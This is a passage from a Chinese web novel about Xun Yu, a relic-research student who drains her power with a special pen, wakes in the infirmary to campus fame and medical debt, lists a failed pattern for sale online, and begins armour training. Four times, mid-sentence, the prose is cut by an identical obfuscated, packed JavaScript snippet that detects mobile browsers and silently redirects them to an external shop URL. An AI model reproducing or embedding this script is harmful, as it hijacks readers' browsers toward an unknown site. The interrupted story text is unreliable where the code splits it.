【叮咚~星际快递提醒您，您有一个包裹尚未签收，请问您是否需要快递机器人为您派送？】 荀玉收到消息时正巧在宿舍，她选择了“是”，等待包裹的到来。 不一会儿，门口传来了敲门声。 “咚咚咚。” 荀玉打开门，一只呆头呆脑的机器人停在宿舍门口，黑色的眼睛扫过荀玉面孔，跳出绿色“识别成功”的符号。 机器人挥动机械臂放在胸前，向荀玉问好：“您好，这位小姐，您的快递。” 荀玉接过快递，放在手中颠了两下，感觉还挺有分量。 “您的快递已签收成功，有任何问题请联系系统客服，我们将竭诚为您服务。” 机器人转动脚下的轮子，前往另一个送货点。 荀玉回到屋内打开快递，一只造型独特的笔静静躺在里面。 文物研究员专用笔笔尖细长锋利，距尖端三分之一处有连接细纹，笔杆顺滑流畅，两侧刻有不同走向的纹路，尾端呈羽状飞扬。 文澜基础型号9代采用青776号稀有矿石，外表晶莹剔透，内壁似乎重合雕刻了几种源纹，并模拟源力活动曲线引导源力运转，是一只其貌不扬的专用笔。 快递内附一张说明书，上面除了说明“修复师在篆刻或绘制源纹时所使用的力度不同，笔尖的形状会随之发生改变”之外，放眼望去几乎全是副作用。 “使用该产品时产生头晕目眩、精神混乱等情况，与本公司无关。” “使用该产品时产生四肢酸软无力、暂时失去行动能力等情况，与本公司无关。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14183316|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “使用该产品时产生口吐鲜血、鼻血横流等情况，与本公司无关。” “使用该产品时突发意外、丧失部分甚至全部生命等情况，若无直接证据证明，则与本公司无关。” “除上述情况外的其他一切情况，若无直接证据证明，则与本公司无关。” “本产品质检合格，已获得联邦特许合格证书，若产生相关问题请及时就医。任何以获取资金、影响本公司声誉、恶意竞争等为目的的污蔑、欺诈行为，都将受到本公司的无限追责。” 荀玉：“……” 所以，这其实不是产品使用说明书，而是一张公司免责声明书吧。 荀玉拿起笔，尝试将源感力灌入笔中。 与修复文物时追踪源力的感受不同，荀玉意念轻轻一动，体内的力量似乎就被什么东西吸引而去。源感力一股脑奔涌出来堵塞在笔尾处，头碰头肩挨肩，谁也挤不进去。 笔尾凤羽处有一微不可查的孔隙，通向笔的内部。荀玉耐心梳理聚集在一起的源感力，犹如穿针引线，引导细如发丝的源感力通过孔隙，前往绘制源纹的笔尖。 源感力灌入笔中的一瞬间，荀玉手中的笔像是活了过来，它似是能听懂荀玉内心的所思所想，灵活地按照荀玉脑中的图案在纸上移动。每一次纹路的走向都与荀玉的想法无比契合，每一笔的转折角度都无比精准。真正的觥纹已经显现出它真实的一角，正迅速而又稳重地生成它的全部。 源感力在荀玉的控制下精准灌入笔中，如丝如线，绵延不绝，像是永远没有尽头。 等等，没有尽头？ 荀玉这才想起来，她体内原本沉寂的源感力是被文物专用笔强大的引力吸引过去的。此刻源感力正不声不响地从她体内流出，源源不断涌向手中的笔。 她当机立断，试图切断源感力。 ……不行。 荀玉表情冷凝，意识到了问题的严重性……切不断，主动权已经不在她手上了。 短短十分钟，荀玉的身体迅速被掏空，仿佛只剩下死寂的黑洞。她开始不自觉颤抖，额头的汗珠顺着尖尖的下巴滴到手上。 “啪。” 这次滴到手上的不是汗珠，是血。 不知是鼻血滴进了嘴巴，还是嘴巴也向外渗血，荀玉的口腔充斥着浓浓的铁锈味。 再坚持一会儿…… 荀玉有预感，等源感力彻底耗尽，她就可以停下了。既然现在切不断，她不防集中精力，说不定可以成功绘制觥纹。 荀玉干脆一不做二不休，将源感力调用了个十成十。爬上血丝的眼睛迸发出坚定的光，苍白的脸缓缓扬起笑容。 觥纹徐徐展露它的全貌，源力似是受到感召，纷纷聚集在桌面上空。 二分之一。 三分之二了！ 荀玉的眼睛越来越亮，一个真正意义上的觥纹正在形成！ 胜利近在眼前之际，荀玉身体一空，有什么东西消失了。 文物专用笔失去了生机，沉默地待在荀玉手里，不论怎么使用笔下也不再生成源纹。觥纹已经绘制到了三分之二处，正在绘制的一笔被突兀截断，即将形成的一切付之东流。 “嗯。” 荀玉闷哼一声，后知后觉毫无预兆切断源感力居然会反噬到自身。过度消耗源感力的副作用接踵而至，因肾上腺素分泌而忽略的疼痛此时正尖锐地证明自己的存在。 好疼…… 荀玉的脑袋狠狠砸在桌面上，失去意识前只剩下这一个念头。 22. 出名 荀玉睁开眼，发现自己躺在白色的封闭空间里，有什么东西正源源不断地向体内输送一股暖流，连带脑中撕裂般的疼痛也得到了缓解。 这是……治疗舱？ 荀玉迟缓地眨眨眼，还没弄明白发生了什么。 【检测到宿主意识已恢复，即将关闭治疗舱，请做好准备。】 头顶的舱门缓缓降下，明亮的光线照射进来，荀玉不适地眯起眼睛。 “荀荀。” 崔晗的声音由远及近，像是刚和医生结束谈话。荀玉被从治疗仓中移送出来，她刚想起身，崔晗一把按住：“你身体负荷过度，多休息一会儿吧。” 荀玉顺从地躺下，刚想问问崔晗她晕倒后发什么了什么，却发现崔晗正一脸认真的盯着她，眼里装满了星星。 “晗晗，你……发生什么事了？” 崔晗抓住荀玉的手，雀跃向她宣布了一个消息：“荀荀，你出名了！” 不是因分班而受到质疑的“关系户”，而是激励众人奋发图强，废寝忘食的学习榜样、精神领袖！ 崔晗兴致冲冲地告诉她，她发现荀玉因源感力消耗过度而晕倒后匆忙联系校医，在转移的过程中恰巧碰上了打探情报的小分队。他们以“关怀同学”的名义协助崔晗将荀玉送上校医救助车，并一身正气地表示既然这件事被他们碰上了，那他们就要对荀玉负责到底。 于是一群人浩浩荡荡跟随救助车来了校医院，听到崔晗和医生沟通时“在桌上发现了文物研究员专用笔”、“疑似使用源感力过度”等字眼大惊失色，匆忙向组织传递前线消息。确认情报属实后，他们为避免再次听到爆炸性的消息而打击自尊心，干脆一溜烟全跑了。 荀玉明显和众人有些脱轨，她自动忽略“情报小分队”这类她不是很理解的词语，也自觉和深厚同学情八竿子打不着一撇，只关心结果，忐忑地问：“所以……？” “所以，你擅自使用源感力的消息不胫而走，现在整个学院都知道你是一个为了学习不惜一切代价的学习狂魔了！”崔晗举着光脑，将热度第三的帖子送到荀玉眼前。 “不是，等等。”荀玉觉得事情有些脱离她的掌控，“什么帖子？他们为什么这么关注我？我跟他们认识吗？” 崔晗皱起小脸想思索了一会儿，“可能底层身份的人具备超越众人的学习能力本身就自带话题性。” “但是你换个角度想想啊。”崔晗又兴奋起来，“本来大家对星一院没有信心，抱怨星一院落后其他四区学院却又整天浑浑噩噩、安于现状，你现在改变了这个局面。” 荀玉一脸懵：“恕我无知，我做什么了？” “你一直在学习啊！”崔晗崇拜地看向她，“你完成学习任务的速度和质量总是遥遥领先，拉高了老师对学生的期待值，所以老师对学生的要求更严格了。这个情况不止出现在A、B班，已经蔓延到了其他班级，甚至我们专业也受到了影响。” 星际一区受其他四区掣肘，导致星一院的文物资源远比不上其他学院。不平衡的资源必将导致不平衡的教育，星一院教育质量直线下降，凡有能力有背景的公民皆移民至他四区获得学籍，或直接受到文物研究院的招揽，进入星一院学习的学生大都经过了筛选。星一院生源质量的降低，使得在与其他四区学院竞争时缺乏驱动力，得不到靠前的名次，逐渐落后于其他学院的发展。而落后的发展必然吸引不到优秀的生源，由此恶性循环。 荀玉哪怕不关注五区学院动向，也清楚星一院的学生条件绝对算不上好，没有哪个学院能像星一院一样单是贫困生就占了接近40%。出身B星的崔晗在其他四区学院可能平平无奇，可相同条件放在星一院却是最顶尖的一批学生了，像晋伯扬、匡辛等人更是凤毛麟角。 先决条件注定了星一院低沉的学习氛围，众人一边不满足于学院发展现状，庸人自扰，一边在低迷的学院氛围里碌碌无为，得过且过。 荀玉早已适应高强度工作的节奏，撰写文件报告等书面任务信手拈来，无意中打破了学生之间微妙的平衡。众人不管是否出于自愿“被迫”提高了学习强度，闲余时间一缩再缩。对所学知识一知半解的他们每天一睁眼就要面对艰巨的任务和自己趋近于零的任务进度，日日水深火热，怨声载道。 当群体利益受到损害时，群体总会试图将矛头对准同一个目标以发泄心里的不满，荀玉作为“罪魁祸首”首当其冲。然而众人将火力对准荀玉的同时就意味着他们把大量注意力放到了荀玉身上，她的一举一动随时都能传递到他们耳中并被放大分析。 随后众人就发现，荀玉并不是故意向大家炫技装逼，她是个货真价实的时间管理者。“宿舍——食堂——教室或图书馆”，三点一线，日子过得比苦行僧还禁欲寡淡。众人一面言辞激烈抨击荀玉祸及他人的行为，一面暗戳戳相互比较不想落在他人身后，于是掀起了一波学习浪潮。 可在今天，前进的浪潮尚未平息，某一年级新生为探索源纹不惜代价耗空源感力的行为将一切推至顶点。试图拉下荀玉的一年级新生懵了，二三四年级满脸疑惑。众人在海量信息中发现了疑似为某人专开的帖子，纷纷涌进去。 【L447】：“今年新生这么猛吗？是我们高年级老了还是不中用了？” 【L451】：“哪位弟弟妹妹出来说一下情况呀，这到底是不是真的？” 【L455】：“在座的学哥学姐，虽然这很匪夷所思，但是依照我多日的观察，我觉得荀玉极有可能干出这么惊人的事情。所以，我断定这是真的。” 【L467】：“老周几人跟去医院了，这瓜保真。” 【L479】：“源感力耗空极有可能丧命啊，她怎么敢的。想想我初次使用专用笔畏畏缩缩的情形，太他妈丢人了。” 【L482】：“我知道她天不亮就起吃得少睡得晚学得多为人低调不喜跟人计较，可没想到她居然能做到如此地步。暴哭.JPG” 【L486】：“……全体警戒，482疑似水军，切勿被迷惑。” 【L488】：“拼命啊，怎么整，谁比得过？？” 【L493】：“源感力透支不容小嘘，高级研究员都不敢这么放肆。看荀玉那小身板，估摸这一两个月她状态都不会太好。大家！正是崛起的好时机啊！” 【L501】：“楼上说得对，抓住机会啊！！” 【L517】：“既然如此，我去写作业了，先行一步。” 【L525】：“兄台，等等我！” 【L529】：“还有我！” 【L542】：“……？” 【L543】：“学弟妹们，我怎么觉得你们也不正常？” 荀玉的心情越翻越沉痛，她兢兢业业、低调做人多年，事情怎么会朝着这个方向发展？！ 这一切的离谱程度不亚于嫌疑人拿枪指着警察的脑袋说“你被逮捕了”，瞎子出庭作证称看见了警察犯罪的全过程，疯子拍板决定以“警察失去理智 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223423|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的罪名论处。最后□□教徒带着十字架对着警察的尸体超度，念念有词不停祷告：“阿弥陀佛，施主如今惨死是因为前世过于低调了。” 荀玉沉痛地关闭光脑，瘫在床上生无可恋，脑袋还在一抽一抽地隐隐作痛。 崔晗不知为何陷入了诡异的愉悦中，她从刚才就一直目光炯炯地盯着荀玉，像是获得了什么宝贝。 荀玉觉得崔晗似乎也有些不对劲，欲要张口询问却在看到她手里疑似缴费单的纸条时将话咽了回去。荀玉咽了口不存在的口水，“这是……？” “哦，你说这个。”崔晗手腕一甩，缴费单上7341积分清清楚楚映入眼帘。荀玉只觉眼睛一痛，源感力透支的副作用好像已经影响到视觉神经了。 “怎么这么贵？！”荀玉失声。 “贵？”一个女医生带着注射器走了进来，听到荀玉的质疑冷冷扫了她一眼，一把撸起她的袖子对准胳膊扎了下去。 荀玉痛呼出声，自己的胳膊被眼前的医生牢牢控制住动不得半分。崔晗瞥见这个医生胸前的工作牌，于是果断扒拉开荀玉求救的手，颇有眼力劲躲去了墙角。 “疼吗？疼才长记性。买命钱都嫌贵，我看你是活得不耐烦了。这才刚进学校多久就想一跃成为人上人了，全学院的学生都跟你一样我看校医也没有开得必要了，指不定哪天就把自己作没了，还不如为联邦节省点资源。”徐姿没有手下留情，几秒就把注射器内的液体推了进去。 荀玉疼得龇牙咧嘴，她看向崔晗，试图让她替自己说几句好话。 崔晗默默转过了身，面对墙角，拒绝了荀玉的请求。 学院论坛科普过，如果在校医院里碰见一个叫“徐姿”的医生，要牢记“不顶嘴不狡辩不反抗”的铁则，否则极有可能“躺着进去横着出来——治和不治没什么区别”。 “医……医生，”荀玉求救无望，开始自救，“我只是操作不熟练没控制好而已，下次肯定不会这样了。” “哦？”徐姿抬头，眉头微挑，“你说什么？” 崔晗悄悄捂起脸。 “我说……” 不等荀玉说完，徐姿手中的消毒棉狠狠按向某人胳膊上崭新的针眼。 “啊——”荀玉瞬间飙出眼泪，“医……医生。” 搞错了。 崔晗及时改正，从捂脸改为捂耳。 徐姿冷眼看着荀玉疼起半个身子，感觉火候差不多了才松手。她弯腰拍拍荀玉的肩膀，“三个月内不准有下次，明白吗？” “……唔，两，两个月。”荀玉出气多，进气少，依旧在试图顽强地挣扎。 “嗯？”徐姿捏了捏荀玉扎针的肩膀，手中的力道渐渐加深，“我没听清，你想说什么？” 荀玉条件反射缩着脖子，双眼又开始涣散了，“明……明白。” “朋友帮她记着，过段时间来体检。”徐姿直起腰，推着推车向外走去。 “哦哦，好的！”崔晗连连应声。 直到崔晗再三确认徐医生已经离开后，才回到荀玉旁边。 她伸出一只手，戳了戳荀玉通红的胳膊。 “别动。”荀玉有气无力地说，“我已经走了好一会儿了。” 崔晗为难了一会儿，目光四处流连，看见被遗弃在地上的缴费单才想到安慰她的话：“荀荀，你别走，不然没人还我钱了。” 荀玉：“……” 呵。 荀玉翻了个身，靠在自己的臂弯里独自坚强。 23. 对话 一场人尽皆知的就医事件最终以荀玉负债四千积分而结束。热闹看完就散了，只有她从物质到精神结结实实受到了一万点伤害。 荀玉再三和徐医生保证，短时间内绝不会调用一丝一毫源感力。 徐姿冷嘲热讽：“你倒是想用，现在用的出来吗？” 何止用不出来，荀玉只要有释放源感力的念头，脑袋里便像有把钝刀在翻搅。体内好容易冒出点苗头的源感力，消耗的比上次还干净。 在徐医生犀利的目光中，荀玉捂着隐隐作痛的胳膊逃之夭夭。 源感力暂时无法调用，但不妨碍荀玉雷打不动的早出晚归。 星一院的学生摩拳擦掌，打算趁此机会狠狠压荀玉一头，在彼此眉来眼去、相互暗示、口口相传中达成了“趁她病，要她命”的组织共识。他们的奋斗目标从未如此清晰，他们的革命热血从未如此沸腾。 文澜二百三十三年十月，“反荀斗争”正式打响。 这是一场由联邦热血青年自发的无领导无纪律无硝烟的中小规模战争，参战人员秉持“精神胜利法”的原则，自我竞争，自我加冕，自我欢呼。 战争持续四天零九个小时，最终以匡文婷研究员冷漠的“这次还是以荀玉为范本，你们这群废物的作业通通打回去全部修改”而结束。众人灰心丧气之余不忘相互加油打劲，并许下“下次再来，多多益善”的诺言。然而被反抗的重要人物始终游离在该事件之外，没有听见一点风声。 匡文婷回到办公室，头疼地捏着眉心。 一旁的李老师见状颇为惊奇：“呦，什么事能让咱们处变不惊的匡老师为难成这样？” 匡文婷叹了口气：“不是为难，是头疼。” 今年的新生不知怎么个个跟打了鸡血一样，一反往年死气沉沉的苦相。老师们的目标从激励学生积极学习，变成想方设法压着他们，不然今年的孩子能把学院屋顶掀了。 四处串门的卫凌丰刚好也在，他挤开正在泡养生茶的李老师，霸占了他的工位：“略有耳闻，我看跟那个丫头有关系吧，叫啥来着……什么寻？” “荀玉。”匡文婷接话道。 “噢……对对对，那小丫头片子体格虽然不咋样，意志力倒挺强。她每节体建课都能耗下半条命，洋相尽出。那群小兔崽子疯了似的争着完成任务，就为了提早缩在一旁看热闹，每次看得可起劲了，偏偏那丫头还意识不到。” 卫凌丰对荀玉印象深刻，毕竟身体素质那么废柴还能在赴死前一脸云淡风轻，简直让人吊足了胃口。 “问题就在这。”匡文婷无奈地说，“如果这丫头跟匡辛一样是个刺头，反而好处理。可她不仅是无意的，还对其他学生的想法毫不知情。” 匡文婷每次踏入教室时，荀玉便早早坐在第一排准备上课了。她能跟上老师的思路立即给老师反馈，甚至有时候还能仅凭“逻辑不通”这一点提出老师的错误。匡文婷曾在课后随手翻过她的教材，字里行间密密麻麻全是批注，比她的教案还要详细。在全学院学生中，恐怕只有她能对每堂课做到百分百吸收。 不只是匡文婷，这学期其他老师上课都积极了不少。他们进教室的瞬间会下意识看向第一排，只要看到那个瘦弱的身影，便知道这节课大概率会极为顺利。 匡文婷还碰见过负责“文物鉴定纲要”的张老师对着荀玉的作业喜不胜收，她拉着匡文婷的手眉飞色舞：“文婷啊，你快来看看这学生的作业，脉络清晰，另辟蹊径，见解独到，我都不一定能写出这种报告。这可是学文物的好苗子啊！” “还有，今年的新生状态真是越来越好了。他们一开始都完不成我布置下去的任务，没成想这才两个月的时间他们就转变过来了。能不能保证质量另说，交作业的速度是真没的挑。” “本来我还担心今年生源质量不如去年，贫困生占比越来越高，学生一届比一届难带。可今年的新生真挺争气，尤其是叫那个荀玉的学生，真是太讨人喜欢了。” 张老师拉着匡文婷絮絮叨叨讲了一通，喜爱之情溢于言表。 但张老师不明就里，不代表匡文婷看不出里面的门道。那群学生哪里是醒悟了，分明是一群乌合之众，正是热血上头的时候。完成任务归完成任务，质量参差不齐，掌握的知识也不牢固，等新鲜劲过了还指不定去哪撒欢，到时候八个荀玉也拉不回来。 “诶，你还真别说！那丫头面无表情的样，确实挺招人嫌的啊。”卫凌丰砸吧嘴细细回味了一番，又宽慰匡文婷，“‘车到山前必有路’。那群孩子积极点不是挺好的吗，掀翻了屋顶也比往年教不动的强。你就别操那个心了，说不定到时候荀玉依然能发挥兴奋剂的作用呢。对吧，李老师？” 李行哲端着保温杯靠在桌边，他的工作重心在文物文字研究专业，对两个系的学生情况都了解一些：“今年确实特殊，文物研究有荀玉，学生普遍都很亢奋，也多多少少影响到文物文字研究。但这边有晋伯扬、崔晗之类的学生，他们相对沉稳，学生们还压得住。” 卫凌丰一听就不乐意了，当即为荀玉辩解：“李老师你这话说得有失偏颇。荀玉也不张扬啊，她就单纯讨人嫌能怎么办。” “……卫老师。”匡文婷一时语塞，可转念一想，卫凌丰说得话格外有道理，于是她又沉默下来。 “说起荀玉……我们系那个叫崔晗的小丫头，也稍微怪怪的。”李老师犹豫说道。 “怪？”卫凌丰想了想，没想出答案，“哪里怪？” “那丫头看起来文静腼腆，刚来的那一阵紧绷绷的，对什么都收敛着，有时候带着莫名其妙的担忧和排斥。” “人到陌生环境不都这样吗，适应了就好了。”卫凌丰不以为然，“那现在呢？” “现在……”李行哲的杯子停在嘴边，向外冒出热腾腾的水汽，“我就是觉得她现在怪怪的啊！人虽然还是那么文静害羞，但我总觉得她心里憋着什么小心思呢。这孩子脑回路我也跟不上，不知道她在想什么。” “李老师你这就冒昧了啊。”卫凌丰瞪了他一眼，“学生心里装点事情很正常，不影响健康和正常生活就行了，‘打破砂锅问到底’有什么意思。人小姑娘好不容易适应了学校生活，你可别瞎操心再给人家吓跑了，小心院长找你拼命。” “院长那把老骨头可打不过我。”李行哲摆摆手，长叹一声，“那孩子的关注点跟人不太一样……罢了罢了，不是什么大事，我多注意些吧。” …… 处在对话中心的荀玉已身无分文，当务之急就是赚取一笔生活费救急。她揪着一角图纸冥思苦想，突然脑中灵光一闪，想起了一个人。 于是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262768|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登上文物研究商城。 【乱码新用户】：“继承人，你好。请问你还在吗？” 【苦逼背锅客服小马】：“亲爱的顾客，您好，请问您有什么需要吗？” 【乱码新用户】：“你好。我找继承人。” 马小腾正趴在桌子上昏昏欲睡，因为连夜加班调整商品界面，他已经足足四天没有睡饱觉了，信息在脑子里迟钝地转了一圈又一圈。 “继承人……哦，继承人，找……继承人？！” 马小腾“噌”得站了起来，他们小少爷“继承人”的身份在外从没被人这么看重过。这个时候找他们家小少爷，除了那个让他加班的始作俑者，他想不出第二个人。 他在后台翻了翻这个用户的购买记录，一条“已购：文物基础型号9代”孤零零的挂在页面上，“继承人特惠”的字眼格外醒目。 马小腾：呵，后门崽，小爷今天总算逮到你了！ 【苦逼背锅客服小马】：“亲爱的顾客，我们继承人很忙哦，有什么需求我可以为您解决。请问您需要什么类型的产品或售后服务？” 【乱码新用户】：“都不需要。” 【乱码新用户】：“实不相瞒，我很穷，急需要钱。所以我想问问你，我在上面卖什么可以赚钱？” 马小腾：……？ 【苦逼背锅客服小马】：“亲爱的顾客，客服小马是卖产品的，不是教人赚钱的哦。” 【乱码新用户】：“……所以我说找你们继承人啊。” 【苦逼背锅客服小马】：“不行！” 【苦逼背锅客服小马】：“啊……我是说，这点小事我来为您解决就好，没有必要麻烦我们小少爷。” 荀玉倒是颇为意外，原来那什么土豆泥是个货真价实的继承人。 【乱码新用户】：“哦，好的。那小马先生您有何高见？” 马小腾有些郁闷，他又不是混文物圈的他哪知道那么多。可他又怕对面这个人联系上他们小少爷惹出什么乱子，他不想再加班了！于是马小腾紧急调出了文商商品库。 【苦逼背锅客服小马】：“亲爱的顾客，经过严谨高效的人工统计，卖家可以售卖文物碎片、源纹设计图、文物研究笔记等常见的商品，也可以出售修复失败的文物、设计残图等等。相当一部分买家对后者有较大的需求，但能否成功出售依然取决于商品价值。” 残图？ 荀玉眉头一挑，不巧，她刚好有一份。 【乱码新用户】：“图片.JPG” 【乱码新用户】：“未修复成功的觥纹残图，可卖否？” 【苦逼背锅客服小马】：“大概……应该……也许……”卖不出去吧。 马小腾的表情越来越奇怪，对面的人在开玩笑吗？“觥纹”是什么东西？他做客服八年零九个月，从没听说过市面上出现过“觥纹”。 马小腾觉得自己被耍了。对面的人是真穷吗？这要能赚钱才怪。 他不情不愿地应着对面的要求，将图片部分加密挂在了商城上，尽职尽责打上了宣传标语。八年多的职业道德支配他忘却加班之仇并做到如此境地，试问文商除小少爷外的唯一客服之位，舍他其谁！ 马小腾将鼠标远远一丢，任务完成，这位祖宗能不能卖得出去可就不是他能说得算了。 24. 青软甲 荀玉收到商品上架的通知后，【苦逼背锅客服小马】便立即下线了，任凭荀玉怎么喊他对面也不再回消息。 好在她的目的已经达成。 荀玉又浏览了一遍文物商城，发现与篆刻源纹相关的视频和心得体会销量最为靠前。她将几种易出售的商品形式记在心里，打算下次实行。 文物研究商城每日客流量高达十四亿万次，订单交易量可达八亿万单，任何新品上架都会迎来第一波流量高峰。 不多时，荀玉挂出来的商品就被人注意到了。 【童叟可欺，客服小马从没听说过的“觥纹”残图火热售卖中，快来（不要）看看吧！】 一个初级文物研究员点进去又退了出来。 【每天早上一睁眼就想死】：“什么玩意儿？文商你是看我活得太痛快了什么都给我推吗？” 【文物研究商城提醒您：很遗憾，【每天早上一睁眼就想死】踩了您的商品并给了您差评。】 【希望我的上司断子断发又断财】：“觥纹是什么？骗人也要骗得有技术含量啊，不编个文物编码也敢出来卖。” 【文物研究商城提醒您：很遗憾，【希望我的上司断子断发又断财】踩了您的商品并给了您差评。】 【谁偷我毕设谁是狗】：“这又是哪个大天才的新研究方向吗？不要啊，让我顺利毕业行不行。” 【文物研究商城提醒您：很遗憾，【谁偷我毕设谁是狗】踩了您的商品并给您留言：别研究了这位大哥！您有什么想法日后再说吧！】 人类对一件东西的讨厌之情总是来得莫名其妙，就像在文商界面上对荀玉的商品顺手点个“踩”那么随便。“觥纹”残图远远背离荀玉还债发财的殷切期望朝着相反的方向奔驰而去，登上了“文商黑名单冷榜”，因此获得了更多的差评。 …… 学期渐渐过半，一年级新生逐渐适应了新的身份，奋斗目标向文物研究员靠拢。全息模拟系统开放在即，老师们开始在课程中引进“复原文物”、“绘制源纹”等实操内容，专业性明显增强，似是隐隐为此做准备。 全联邦的文物资源相对紧张，五区相争，分配到星一院的资源更是少之又少。真正的文物研究员文物资源都较为匮乏，更不用提将如此稀有的文物拿来给一群学生练手。因此，全息模拟系统就是学生们乃至初级文物研究员的实操训练平台。 尽管各个学院并没有把全息模拟列为学生必修实践活动，可但凡有点上进心的学生必然不会错过这么宝贵的机会。理论成绩再好，文物研究终究是个注重实践的专业。在上面，学生可以看见学院甚至全联邦学生的实时动态排名。每一次全息模拟系统的开放，都会掀起一场腥风血雨。 在全息模拟系统开放前夕，一年级新生们迎来了体建课的重头戏——青软甲。 青软甲，以源力为动力基础的贴身机械装甲，专为文物研究员设计的非战斗型防护软甲，因其轻便、快捷、防护性高而闻名。 三百年前的那场联邦异变危机，带走了无数在前线奋斗的研究人员的性命。短短几个月内，常居幕后的研究员死亡率迅速超过联邦普通居民跃升为第一。来自各行各业的研究员一边调查异变起源，寻找解决方案；一边想方设法提升防护装置的性能，减少死亡率。 他们在尸山血海中趟出了文物研究的道路，异变危机得以解决，青软甲也应运而生。 “你们不是在疑惑文物研究员为什么还要进行体能建设吗？这就是答案！文物研究员从来不是在幕后避难趋易的缩头乌龟，这门行业诞生时就注定了它的与众不同。终有一天，你们会直面同胞的死亡、自己的死亡和人类的死亡。” 训练场上的学生们表情变得严肃起来，他们竖起耳朵听卫凌丰拿着大喇叭讲话。 “如果这一天不幸到来，希望你们不要为自己为什么不能多跑一步、为什么不能再快一秒、为什么迟迟找不到解决方法而后悔！” “回想一下，你们正式成为星一院学生的那一天，星际一区和联邦给予你们的期望。” 学生们不约而同想起，专业报名的最后，冰冷的电子屏幕上面接替滚动着的几句话。 【恭喜您，正式成为星际第一研究学院的一份子。】 【在面对痛苦、诱惑、死亡时，请记住，您身后站得不只是文物，还是人类最后的精神文化遗产。】 【您从此与人类文明，休戚与共。】 “你们是人类文明最后的退路，而青软甲则是捍卫你们自身安全的最后一道防线。” “联邦耗费三分之一的物力财力进行青软甲的研发，你们是最危险的，也是最安全的。不要辜负联邦对你们的信任！” “全体都有，开始训练！” 卫凌丰面前摆着一个大大的箱子，里面装满了青软甲收束后形成的不规则球体，学生们安静地排成纵队上前领取。 轮到荀玉时，一个喇叭突然横伸在荀玉身前。 卫凌丰记得她跟其他学生有些不同，可一时又没想起来，只下意识拦住了她：“你是干什么的来着？” 卫凌丰问得没头没尾，但荀玉一下就接上了他的思路。于是荀玉认真地开口：“老师，我是从D班转过来的。” “啊对！我就是想问这个。”卫凌丰一拍脑筋，他说他怎么伸手拦人呢。下一秒他的语气就恢复了正经，“只是入门等级的话不要强制释放源感力，不然产生的后果不堪设想。他们的源感力为A、B级，操纵青软甲本就比一般人容易，每个人擅长的领域不同，你不要钻牛角尖。” 还没走远的学生：“？！！” 被压榨太久，忘了荀玉源感力只有D级，他们的机会来了！ 荀玉点点头，她知道卫凌丰是为她好，而且她本来也没打算在课上尝试青软甲。目前她体内的源感力再度空空如也，就算她想用也用不出来。 其他拿到青软甲的学生走到空地上，开始释放源感力。 “砰！” 远处一个花花绿绿的机械组装体突兀立在训练场上，青软甲仅向前走了两步，关节的零部件便发出金属摩擦的声音。 刘思航源感力为B＋，是公认的星一院一年级种子学生。他自认潜力无限，在学习文物方面颇有天赋。刘思航看不惯荀玉很久了，只会写报告有什么用，源感力才能决定一切！得知这节课就要实操青软甲，他跃跃欲试，打算让荀玉瞧瞧他的厉害。 作为全场第一个成功链接青软甲的学生，刘思航骄傲地挺起了胸脯。他的身体好像覆盖了一层轻薄的防护屏障，脑中出现立体的机械人型，通过意念操纵，源感力可以到达青软甲的每一个地方，使得青软甲与人体同步。 源感力突然得到集中调用，刘思航略有不适。他忍着头痛在青软甲内环视四周，察觉周围的人都被他牢牢吸引住了目光， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305031|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人之中甚至包括荀玉！刘思航瞬间有了动力，头痛被他远远抛在脑后。 荀玉向前走了两步，领到的青软甲被她握在手里，脸上带着疑惑。 果然，她的源感力无法支持她使用青软甲。刘思航收回目光，他晃了晃手臂，今天就让你们瞧瞧，谁才是今年新生中最厉害的人！ 刘思航后撤一步，弯腰弓腿，瞬间从原地弹射出去。他凭借记忆一一复刻星网上炫酷拉风的格斗教程，身体仿佛轻盈无比。刘思航一心一意想要在这节课上超越荀玉成为新的焦点，丝毫没有注意到越来越响的金属摩擦声。 荀玉缓缓后退，撤出了人群。 